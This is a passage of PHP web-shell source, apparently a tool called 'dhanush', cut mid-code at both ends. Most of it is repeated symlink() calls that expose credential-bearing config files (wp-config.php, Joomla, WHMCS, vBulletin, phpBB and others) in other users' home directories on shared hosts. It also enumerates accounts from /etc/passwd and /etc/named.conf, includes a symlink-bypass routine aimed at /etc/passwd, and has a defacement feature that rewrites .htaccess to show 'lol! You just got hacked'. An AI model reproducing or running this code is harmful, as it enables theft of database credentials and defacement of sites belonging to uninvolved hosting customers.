t');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb5.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb7.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t}\r\n\t\tif(isset(\$_REQUEST['passwd']))\r\n\t\t{\r\n\t\t\t\$getetc = trim(\$_REQUEST['passwd']);\r\n\t\t\t\r\n\t\t\tmkdir(\"dhanushSPT\");\r\n\t\t\tchdir(\"dhanushSPT\");\r\n\t\t\t\t\t\r\n\t\t\t\$myfile = fopen(\"test.txt\",\"w\");\r\n\t\t\tfputs(\$myfile,\$getetc);\r\n\t\t\tfclose(\$myfile);\r\n\t\t\t\t\t\t \r\n\t\t\t\$file = fopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\r\n\t\t\twhile(!feof(\$file))\r\n\t\t\t{\r\n\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\$matches = array();\r\n\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\tsyml(\$matches,\$matches);\r\n\t\t\t}\r\n\t\t\tfclose(\$file);\r\n\t\t\tunlink(\"test.txt\");\r\n\t\t\techo \"<center><font class=txt size=3>[ Done ]</font></center>\";\r\n\t\t\techo \"<br><center><a href=\".\$url.\"dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>\"; \r\n\t\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$d0mains = @file(\"/etc/named.conf\");\r\n\t\tif(\$d0mains)\r\n\t\t{\r\n\t\t\tmkdir(\"dhanushST\");\r\n\t\t\tchdir(\"dhanushST\");\r\n\t\t\t\t\t\t\t\t\r\n\t\t\tforeach(\$d0mains as \$d0main)\r\n\t\t\t{\r\n\t\t\t\tif(eregi(\"zone\",\$d0main))\r\n\t\t\t\t{\r\n\t\t\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\tif(strlen(trim(\$domains[1][0])) > 2)\r\n\t\t\t\t\t{ \r\n\t\t\t\t\t\t\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\tsyml(\$user['name'],\$domains[1][0]);\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \"<center><font class=txt size=3>[ Done ]</font></center>\";\r\n\t\t\techo \"<br><center><a href=\".\$url.\"dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>\"; \r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tmkdir(\"dhanushSPT\");\r\n\t\t\tchdir(\"dhanushSPT\");\r\n\t\t\t\$temp = \"\";\r\n\t\t\t\$val1 = 0;\r\n\t\t\t\$val2 = 1000;\r\n\t\t\tfor(;\$val1 <= \$val2;\$val1++) \r\n\t\t\t{\r\n\t\t\t\t\$uid = @posix_getpwuid(\$val1);\r\n\t\t\t\tif (\$uid)\r\n\t\t\t\t\t\$temp .= join(':',\$uid).\"\\n\";\r\n\t\t\t }\r\n\t\t\t echo '<br/>';\r\n\t\t\t \$temp = trim(\$temp);\r\n\t\t\t \r\n\t\t\t \$file5 = fopen(\"test.txt\",\"w\");\r\n\t\t\t fputs(\$file5,\$temp);\r\n\t\t\t fclose(\$file5);\r\n\t\t\t\t\t\t \r\n\r\n\t\t\t \$file = fopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\r\n\t\t\t while(!feof(\$file))\r\n\t\t\t {\r\n\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\$matches = array();\r\n\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\tsyml(\$matches,\$matches);\r\n\t\t\t }\r\n\t\t\tfclose(\$file);\r\n\t\t\techo \"</table>\";\r\n\t\t\tunlink(\"test.txt\");\r\n\t\t\techo \"<center><font class=txt size=3>[ Done ]</font></center>\";\r\n\t\t\techo \"<br><center><a href=\".\$url.\"dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>\"; \r\n\t\t}\r\n\t}\r\n\t}\r\n\telse\r\n\t\techo \"<center>Cannot Complete the task!!!!</center>\";\r\n\t\r\n}\r\nelse if(isset(\$_GET[\"symlinkfile\"])) \r\n{\r\n\tif(!isset(\$_GET['file']))\r\n\t{\r\n\t\t?>\r\n\t\t<center>\r\n\t\t\t<form onSubmit=\"getdata('symlinkmyfile',file.value);return false;\">\r\n\t\t\t<input type=\"text\" class=\"box\" name=\"file\" size=\"50\" value=\"/etc/passwd\">\r\n\t\t\t<input type=\"button\" value=\"Create Symlink\" onClick=\"getdata('symlinkmyfile',file.value)\" class=\"but\">\r\n\t\t\t</form></center>\r\n\t\t\t<br><br>\r\n\t\t<?php\r\n\t}\r\n}\r\n \r\nelse if(isset(\$_GET['symlinkmyfile']))\r\n{\r\n\tif(stristr(php_uname(),\"Linux\"))\r\n\t{\r\n\t\t\$fakedir=\"cx\";\r\n\t\t\$fakedep=16;\r\n\t\t\t\t\r\n\t\t\$num=0; // offset of symlink.\$num\r\n\t\t\t\t\r\n\t\tif(!empty(\$_GET['myfile']))\r\n\t\t\t\$file=\$_GET['myfile'];\r\n\t\telse \$file=\"\";\r\n\t\t\t\t\t\t\t\t\t\t\t\r\n\t\tif(empty(\$file))\r\n\t\texit;\r\n\t\t\t\t\t\t\r\n\t\tif(!is_writable(\".\"))\r\n\t\t\techo \"not writable directory\";\r\n\t\t\t\t\t\r\n\t\t\$level=0;\r\n\t\t\t\t\r\n\t\tfor(\$as=0;\$as<\$fakedep;\$as++)\r\n\t\t{\r\n\t\t\tif(!file_exists(\$fakedir))\r\n\t\t\t\tmkdir(\$fakedir);\r\n\t\t\t\tchdir(\$fakedir);\r\n\t\t}\r\n\t\t\t\t\t\t\r\n\t\twhile(1<\$as--) chdir(\"..\");\r\n\t\t\t\t\r\n\t\t\$hardstyle = explode(\"/\", \$file);\r\n\t\t\t\t\r\n\t\tfor(\$a=0;\$a<count(\$hardstyle);\$a++)\r\n\t\t{\r\n\t\t\tif(!empty(\$hardstyle[\$a]))\r\n\t\t\t{\r\n\t\t\t\tif(!file_exists(\$hardstyle[\$a])) \r\n\t\t\t\t\tmkdir(\$hardstyle[\$a]);\r\n\t\t\t\t\tchdir(\$hardstyle[\$a]);\r\n\t\t\t\t\t\$as++;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\t\$as++;\r\n\t\t\twhile(\$as--)\r\n\t\t\t\t\tchdir(\"..\");\r\n\t\t\t\t\t\r\n\t\t\t@rmdir(\"fakesymlink\");\r\n\t\t\t@unlink(\"fakesymlink\");\r\n\t\t\t\t\t\r\n\t\t\t@symlink(str_repeat(\$fakedir.\"/\",\$fakedep),\"fakesymlink\");\r\n\t\t\t\t\t\r\n\t\t\twhile(1)\r\n\t\t\tif(true==(@symlink(\"fakesymlink/\".str_repeat(\"../\",\$fakedep-1).\$file, \"symlink\".\$num))) break;\r\n\t\t\telse \$num++;\r\n\t\t\t\t\t\r\n\t\t\t@unlink(\"fakesymlink\");\r\n\t\t\tmkdir(\"fakesymlink\");\r\n\t\t\t\t\t\t\r\n\t\t\techo '<CENTER>check symlink <a href=\"./symlink'.\$num.'\">symlink'.\$num.'</a> file</CENTER>';\r\n\t}\r\n\telse\r\n\t\techo '<CENTER>Cannot Create Symlink</CENTER>';\t\t\r\n}\r\nelse if(isset(\$_REQUEST['404new']))\r\n{\r\n\t?>\r\n\t<form>\r\n\t<center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>\r\n\t<input type=\"button\" onClick=\"my404page(message.value)\" value=\"  Save  \" class=but></center>\r\n\t</br>\r\n\t</form>\r\n\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['404page']))\r\n{\r\n\t\$url = \$_SERVER['REQUEST_URI'];\r\n\t\$path=explode('/',\$url);\r\n\t\$url =str_replace(\$path[count(\$path)-1],'',\$url);\r\n\tif(isset(\$_POST['message']))\r\n\t{\r\n\t\tif(\$myfile = fopen(\".htaccess\", \"a\"))\r\n\t\t{\r\n\t\t\tfwrite(\$myfile, \"ErrorDocument 404 \".\$url.\"404.html \\n\\r\"); \r\n\t\t\tif(\$myfilee = fopen(\"404.html\", \"w+\"))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$myfilee, \$_POST['message']);\r\n\t\t\t}\r\n\t\t\techo \"<center><font class=txt>Done setting 404 Page !!!!</font></center>\";\r\n\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"<center>Cannot Set 